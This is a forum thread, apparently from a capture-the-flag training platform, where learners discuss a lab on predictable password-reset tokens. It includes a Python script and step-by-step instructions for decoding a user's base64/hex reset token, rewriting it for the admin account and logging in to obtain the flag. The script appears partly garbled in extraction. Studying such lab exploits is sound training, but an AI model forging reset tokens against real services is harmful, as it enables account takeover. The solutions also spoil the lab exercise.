Broken Authentication - Predictable Reset Token // question 2

Hello everyone. Have problems with question 2 in “Predictable Reset Token” Broken Authentication module. I can’t understand how to login as htbadmin (htbuser is ok, it’s very easy)

I think I tried everything:
php_mt_seed script to find something with mt_rand() - no results
Maybe this temp password = some hash, but not

Noticed that temp password value uses “0-9” and “a-f” values, but this didn’t help me

Please give me some hint. Thank you

you have to understand how the reset password token is generated. Then tamper it with the htbadmin user. Once you got it just bypass the login (look at inspect page).

This token is always the same, but I can’t still understand how it’s generated

you have to decode the base64 string which is given by the htbuser reset password. Tamper it with htbadmin:<rest_of_string_here>:<…>, then encode it again to hex -->base64, copy the cookie in order to bypass login.

1 Like

Thanks. Did it without cookie

Hey there I have some problem with this question. I decode the Token from Htbuser but I don’t now where can the new token put in.

I put new token in password field with htbadmin username

It’s also helping to try to encode back already decoded token, to be sure that resulting value is the same as given by “Show temporary passowrd for htbuser”. And then encode token for the htbadmin using the same approach.


This is the code that I use.

import base64
import requests
from base64 import *
import re

# Replace link
link = ""
url = link + "question2/forgot.php"

raw_data = {
    "submit": "htbuser"
res =, data=raw_data)
match ='<strong>(.*?)</strong>', res.text)
htb_token =":")[1].strip()
base64_bytes = htb_token.encode('ascii')
message_bytes = base64.b64decode(base64_bytes)
message = message_bytes.decode('ascii')
a_string = bytes.fromhex(message)
a_string = a_string.decode("ascii")
list_token = a_string.split(":")
list_token[0] = "htbadmin"
admin_token = ":".join(list_token)
admin_token_hex = admin_token.encode("ascii").hex()
final_token = b64encode(admin_token_hex.encode('ascii'))
final_token = final_token.decode()

raw_data = {
    "userid": "htbadmin",
    "passwd": final_token,
    "submit": "submit"
url = link + "/question2/"
res =, data=raw_data)

htb_string_regex = r"HTB\{[^}]*\}"
htb_strings = re.findall(htb_string_regex, res.text)
if htb_strings:
    print("[*] Congratulations!")

Base64dDecoding the temp password for htbuser is just numbers. How am I supposed to tamper with it? I thought decoding it would result in something like: htbuser####, and I would just change the htbuser > htbadmin#### and encode it.
I am kinda stuck here, any tips ?

A prerequisite for solving this one is to be able to spot different types of encoded strings.

Once you are aware of different ways of encoding (base64, ascii) and different output formats (Hex, with or without spaces) it’s really straightforward.

I did it manually without a script (but with online tools :slight_smile: ).

  1. Show the htbuser temporary password.
  2. Inspect it - it looks a lot like a base64 encoded string.
  3. Decode the base64 string - I used
  4. Inspect the decoded base64 string - this is where I had to learn about hex formatting without spaces, since it didn’t look like anything I knew so far.
  5. Paste the base64 decoded string into ASCII Code Converter - Online Hex/Binary to Text Decoder, Translator and decode.
  6. On the side you will see the decoded password - something like
  7. Replace htbuser with htbadmin in both occurances in the string.
  8. Encode back into hex from ascii (but hex without spaces) using ASCII Code Converter - Online Hex/Binary to Text Decoder, Translator again.
  9. Encode the hex string into base64.
  10. Go to the login form in the question2 page - use htbadmin as the password and the base64 encoded string as the password.

Hope this helps someone and sheds some light on what this section is teaching us.